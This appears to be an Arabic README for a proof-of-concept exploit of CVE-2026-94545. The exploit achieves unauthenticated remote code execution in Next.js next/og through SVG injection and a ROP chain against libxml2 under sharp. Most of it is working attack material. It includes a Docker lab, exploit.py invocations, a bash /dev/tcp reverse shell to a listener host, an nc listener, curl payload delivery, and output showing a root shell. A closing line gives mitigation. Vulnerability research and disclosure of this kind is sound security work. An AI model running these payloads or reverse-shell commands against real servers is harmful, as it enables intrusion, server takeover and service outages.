
إثبات مفهوم للاستغلال لـ CVE-2026-94545، وهو تنفيذ أوامر عن بُعد (RCE) بدون مصادقة في Next.js next/og عبر حقن SVG وسلسلة ROP ضد مُنقّط sharp الأصلي.
next/og★ CVE-2026-94545 حقن SVG في Next.js next/og للوصول إلى تنفيذ أوامر أصلي (RCE) ★
https://github.com/user-attachments/assets/e297b40b-36ad-4a9a-b0c1-a64429bc0160
يقوم
next/ogببناء صور Open Graph عبر تحويل JSX إلى SVG باستخدام Satori ثم تحويل ذلك SVG إلى صورة نقطية. يكتب Satori النص المُقدَّم من المستخدم داخل SVG دون تهريبه (CWE-116)، لذا يمكن للطلب إغلاق العنصر المحيط وحقن ترميز SVG خاص به. عندما يعمل المسار على بيئة تشغيل Node.js مع تثبيتsharp، يتم تحويل ذلك SVG إلى صورة نقطية بواسطة مكتبات أصلية (libvips، librsvg، libxml2) بدلاً من مُصيّر wasm المعزول. تؤدي الحمولة المبنية من مرجع XInclude وكيانات DTD متداخلة إلى إفساد الذاكرة داخل ذلك المُحلِّل الأصلي. إن ملف Node.js الرسمي غير PIE، لذا لا يتم عشوائية عنوان الشيفرة و GOT الخاصة به، وتصل سلسلة ROP ثابتة إلىexecveدون تسريب عنوان. طلب واحد بدون مصادقة إلى مسار صورة OG يكفي لتنفيذ أوامر بصلاحيات عملية الخادم.
| الفئة | الإصدار |
|---|---|
| المتأثرة | Next.js 16.2.0 – 16.3.5 (بيئة تشغيل Node، مع وجود sharp)، Satori >=0.0.27 <0.33.5 |
| المُرقَّعة | Next.js 16.3.6 / Satori 0.33.5 أو أحدث |
مسار بيئة تشغيل Node.js فقط هو المتأثر. مع
export const runtime = 'edge'، أو تثبيت بدونsharp، يتم رسم الصورة بواسطة مُصيّرresvg-wasm المعزول ولا يؤدي الخلل إلى تنفيذ شيفرة.
ImageResponse يُعد نقطة وصول.execve الناجح يستبدل العامل (worker)، لذا يُغلق طلب HTTP ببساطة ويجب أن تعود النتيجة بطريقة أخرى، مثل reverse shell أو أمر يتصل بالخارج.تطبيق Next.js بسيط يعيد إنتاج الإعداد المتأثر. المسار عند /api/og يُصيّر
ImageResponse على بيئة تشغيل Node، وsharp مثبّت بحيث يُستخدم المُصيّر الأصلي.
تثبّت الصورة الحزمة الدقيقة التي تعتمد عليها سلسلة ROP (Node 24.20.0 غير PIE، Next 16.3.5، sharp
0.35.4 مع libvips 8.18.6، librsvg 2.62.91، libxml2 2.15.3). يسحب البناء الأول Node، ويثبّت
تبعيات npm، ويشغّل next build، وهو ما يستغرق بضع دقائق.
docker build -t cve-2026-94545 .
docker run -d --name cve-2026-94545 -p 3000:3000 cve-2026-94545
# sanity check: a benign render returns 200
curl -s -o /dev/null -w "%{http_code}\n" "http://127.0.0.1:3000/api/og?value=hello"
| الشرط المسبق | الحالة في هذا المختبر |
|---|---|
| Next.js 16.2.0 – 16.3.5 على بيئة تشغيل Node | Next 16.3.5، runtime = 'nodejs' |
sharp مثبّت، بحيث يُستخدم مسار librsvg/libxml2 الأصلي | sharp 0.35.4، libvips 8.18.6، rsvg 2.62.91، xml2 2.15.3 |
| ملف Node التنفيذي غير PIE لقاعدة ROP مستقرة | Node v24.20.0 linux-x64 الرسمي (مُتحقق منه بـ SHA) |
| مسار صورة OG يمكن الوصول إليه بدون مصادقة | GET و POST /api/og، نص الطلب يدخل في SVG <title> |
| مسار خارجي متاح لـ reverse shell | bash و /dev/tcp موجودان |
المسار المتأثر هو POST /api/og. يأخذ جسم الطلب ويضعه في SVG <title>
قبل التحويل إلى صورة نقطية. يبني exploit.py ذلك SVG لأمر مختار، ويُرمّز سلسلة ROP داخل
<path>، ويرسله إلى المسار.
أبسط تشغيل يفتح reverse shell. أعطه الهدف وعنوان المستمع؛ يبدأ nc
نيابةً عنك، ويطلق الطلب، ويسلّمك الصدفة.
python3 exploit.py --target 172.17.0.3:3000 --lhost 172.17.0.4:4444
الحمولة معايَرة للحزمة المذكورة في البيئة، لذا شغّلها ضد هذه الصورة أو مضيف بنفس إصدار Node و sharp. الإصابة تستبدل عملية node بأمرك، مما يعني أن طلب HTTP يُغلق وتتوقف الخدمة عن الاستجابة حتى يُعاد تشغيل الحاوية.
[*] Command: bash -c 'bash -i>&/dev/tcp/172.17.0.4/4444 0>&1' (49 bytes)
[*] payload bytes=24693 sha256=...
[*] Listener: nc -lvnp 4444
[*] POST http://172.17.0.3:3000/api/og (24693 bytes)
[*] Target closed connection (expected)
connect to [172.17.0.4] from (UNKNOWN) [172.17.0.3] 43118
id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux 6e2b1c4a7f9d 5.15.0 #1 SMP x86_64 GNU/Linux
يعمل reverse shell بصلاحيات عملية الخادم، مما يؤكد تنفيذ الشيفرة من طلب واحد بدون مصادقة. لتشغيل أمر واحد دون مستمع، مرّره مباشرةً؛ لاحظ أن المخرجات لا تعود عبر HTTP، لذا يجب أن يرسل الأمر أي شيء تريد رؤيته خارج النطاق.
# single command, no listener
python3 exploit.py --target 172.17.0.3:3000 --command "id"
# only build the payload, then send it yourself
python3 exploit.py --target 172.17.0.3:3000 --command "id" --output payload.bin
curl --data-binary @payload.bin -H "Content-Type: text/plain" http://172.17.0.3:3000/api/og
next/og إلى export const runtime = 'edge' بحيث يُستخدم مُصيّر wasm المعزول، أو أزل sharp بحيث لا يُوصل إلى المسار الأصلي، وأبقِ مدخلات المستخدم غير المُنقّاة خارج أبناء ImageResponse.